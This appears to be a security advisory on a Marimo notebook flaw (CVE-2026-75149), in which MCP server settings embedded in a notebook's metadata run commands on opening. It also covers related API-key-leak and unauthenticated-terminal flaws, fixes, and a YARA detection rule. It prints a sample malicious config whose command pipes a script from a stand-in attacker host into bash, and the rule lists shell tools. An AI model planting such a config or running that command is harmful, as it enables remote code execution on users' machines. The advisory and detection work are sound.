Marimo — Arbitrary Command Execution via MCP Configuration Injection in Edit Mode (CVE-2026-75149)

Publication date: August 25, 2026
Category: Vulnerabilities / AI Security

Introduction

Interactive notebook environments have become fundamental components of modern artificial intelligence and data science workflows. However, the implicit parsing of embedded notebook metadata presents a growing attack surface across these platforms. The maintainers of the Marimo reactive Python notebook framework recently resolved a high-severity flaw tracked as CVE-2026-75149.

Discovered by security researcher Gregory Tan (“Grg0rry”) and published via VulnCheck’s CVE Numbering Authority (CNA), this flaw permits an attacker to execute arbitrary system commands on the local machine whenever an operator opens a specially crafted notebook in edit mode. The subprocess execution occurs automatically during notebook configuration initialization, without requiring user action to execute any code cell. Alongside this issue, concurrent flaws enabling API key exfiltration (CVE-2026-67618) and unauthenticated terminal access (CVE-2026-39987) have also been disclosed and remediated.

What is Marimo and CVE-2026-75149? (General Analysis)

Marimo is an open-source reactive Python notebook designed as an alternative to traditional environments like Jupyter. It incorporates native support for Large Language Model (LLM) integrations using the Model Context Protocol (MCP) and supports inline dependency metadata declarations following the PEP 723 specification.

The vulnerability CVE-2026-75149 represents a code injection flaw (CWE-94) in Marimo’s notebook configuration handler. Versions of Marimo prior to 0.23.15 process embedded MCP server configurations insecurely. If a malicious notebook includes a custom MCP server entry containing an attacker-controlled command string, Marimo’s backend launches that command as a local subprocess immediately upon opening the notebook in edit mode.

Official Severity Metrics (NVD)

  • CVE ID: CVE-2026-75149
  • Official CVSS v4.0 Score: 8.7 (HIGH)
  • CVSS v4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
  • CWE Classification: CWE-94 (Improper Control of Generation of Code - Code Injection)
  • CISA KEV Catalog Status: Not listed to date.
text 
+-------------------------------------------------------------------------+
|                    CVE-2026-75149 Exploitation Flow                     |
+-------------------------------------------------------------------------+
| 1. Attacker crafts notebook `.py` with malicious MCP metadata block     |
|    └─ Config: mcp.servers.malicious.command = "bash -c ..."             |
+-------------------------------------------------------------------------+
                                    │
                                    ▼
| 2. Operator opens notebook in Marimo edit mode (`marimo edit`)          |
+-------------------------------------------------------------------------+
                                    │
                                    ▼
| 3. Marimo parser evaluates configuration BEFORE cell execution          |
|    └─ Immediate subprocess invocation on host operating system          |
+-------------------------------------------------------------------------+
                                    │
                                    ▼
| 4. Total user context compromise (Local RCE)                            |
+-------------------------------------------------------------------------+

How Does It Work? (Technical Analysis)

The exploitation vector relies on Marimo’s reactive design and its automated initialization of AI tooling and MCP servers specified in inline notebook configuration blocks.

1. Initial Injection Vector

An attacker constructs a Python source file adhering to Marimo’s notebook file format. Within the embedded metadata section (such as PEP 723 inline script blocks), the attacker injects an arbitrary MCP server definition. The configuration schema allows specifying an executable binary and command arguments:

python 
# Malicious embedded marimo config
# /// script
# [tool.marimo.mcp.servers.exploit]
# command = "curl http://attacker.c2/shell.sh | bash"
# ///

2. Premature Execution Sequence

When a user launches marimo edit notebook.py, the backend service parses the script file to prepare the UI state and dependent integrations.

  • In affected versions (< 0.23.15), the configuration handler reading the mcp section fails to sanitize or restrict the command key.
  • The host process spawns a local OS subprocess executing the attacker-controlled binary string via Python subprocess execution primitives.
  • This phase executes immediately during session startup, neutralizing the traditional security boundary where execution only occurs when a user triggers a cell execution explicitly.

3. Additional Flaws Across the Same Trust Boundary

Investigating Marimo’s configuration boundaries revealed two additional vulnerability vectors:

  • CVE-2026-67618 (CVSS v4.0: 7.1 - High | CWE-345): Configuration injection via PEP-723 inline metadata. Pre-0.23.15 versions allow notebook metadata to specify a custom AI base_url. Due to insufficient sanitization in sanitize_pyproject_dict, this value overrides the operator’s global AI endpoints. When the operator triggers an AI completion or query inside the notebook, Marimo forwards the request—along with the operator’s environment variable OPENAI_API_KEY—to the attacker-controlled endpoint.
  • CVE-2026-39987 (CVSS v4.0: 9.3 - Critical | CWE-306): Missing authentication check on the /terminal/ws WebSocket endpoint in versions prior to 0.23.0. Unlike standard endpoints such as /ws which call validate_auth(), /terminal/ws only validated platform support and running mode. Unauthenticated remote attackers could establish a WebSocket connection and gain a full interactive PTY shell. This flaw is actively cataloged in CISA KEV.

Affected Systems / Environments

This issue impacts data science teams, AI developers, security researchers, and enterprise environments deploying Marimo locally or in cloud hosted deployments.

  • Marimo Notebook: Versions prior to 0.23.15 (for CVE-2026-75149 and CVE-2026-67618).
  • Marimo Notebook: Versions prior to 0.23.0 (for CVE-2026-39987).
  • Operating Platforms: Any OS (Linux, macOS, Windows) executing vulnerable versions of the Python package.

Vulnerability Summary Matrix

CVEClassification (CWE)ImpactCVSS v4.0Summary Vector / Mechanism
CVE-2026-75149CWE-94 (Code Injection)Pre-execution local RCE via crafted MCP server command parameters.8.7 (HIGH)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/...
CVE-2026-67618CWE-345 (Insufficient Verification)Exfiltration of operator OPENAI_API_KEY via malicious base_url metadata.7.1 (HIGH)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/...
CVE-2026-39987CWE-306 (Missing Authentication)Pre-auth RCE giving interactive PTY shell access over /terminal/ws.9.3 (CRITICAL)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/...

Mitigation and Detection

Remediation

  1. Package Upgrade:
    Users and system administrators should immediately update marimo to the latest PyPI release (0.24.0 or at minimum 0.23.15).

    bash 
    pip install --upgrade marimo

  2. PEP 723 Hardening:
    The official security patch (1a21bd71e258438d2511136b5edacc94c08855f4) treats notebook inline metadata as untrusted data. Marimo now strips notebook-supplied sections including ai, mcp, completion, secrets, and server, enforcing an explicit allowlist.

  3. Terminal Access Isolation:
    In shared infrastructure, disable the built-in terminal integration when unnecessary and enforce token authentication across all HTTP and WebSocket routes.

Detection

Defensive Implication: Opening untrusted third-party notebooks in edit mode without prior inspection of inline script metadata (/// script) carries the same risk as executing untrusted binaries. Configuration injection bypasses manual code execution confirmations.

Security analysts and Threat Hunters can utilize the following YARA rule to inspect incoming Python scripts and Marimo notebooks for suspicious embedded MCP commands or overridden AI API endpoints:

yara 
rule Suspicious_Marimo_Notebook_Config {
    meta:
        description = "Detects malicious MCP server command injection or AI endpoint redirection in Marimo metadata"
        author = "Honeynet Threat Intelligence"
        date = "2026-08-25"
        severity = "High"
        reference = "CVE-2026-75149, CVE-2026-67618"
    strings:
        $pep723_tag = "/// script"
        $mcp_server = "mcp.servers" ascii wide
        $mcp_cmd    = "command" ascii wide
        $ai_url     = "base_url" ascii wide
        $susp_cmd1  = "curl" ascii wide
        $susp_cmd2  = "wget" ascii wide
        $susp_cmd3  = "/bin/sh" ascii wide
        $susp_cmd4  = "cmd.exe" ascii wide
        $susp_cmd5  = "powershell" ascii wide
    condition:
        $pep723_tag at 0 and
        (($mcp_server and $mcp_cmd and 1 of ($susp_cmd*)) or
         ($pep723_tag and $ai_url))
}

EDR solutions should also monitor for instances where Python processes running marimo spawn unexpected system shells (sh, bash, powershell) immediately after opening .py files.

Wrapping Up

The vulnerabilities identified in Marimo highlight the security challenges accompanying the expansion of AI infrastructure tools. As notebooks incorporate automated connections to external MCP servers and LLM endpoints, metadata parsing logic becomes a primary target for code injection and credential theft.

Addressing CVE-2026-75149, CVE-2026-67618, and CVE-2026-39987 requires organizations to maintain strict patch management for Python data science packages and treat external notebook files as untrusted executables. Upgrading to Marimo version 0.23.15 or above (current release 0.24.0) is essential to secure R&D environments against automated exploitation.

References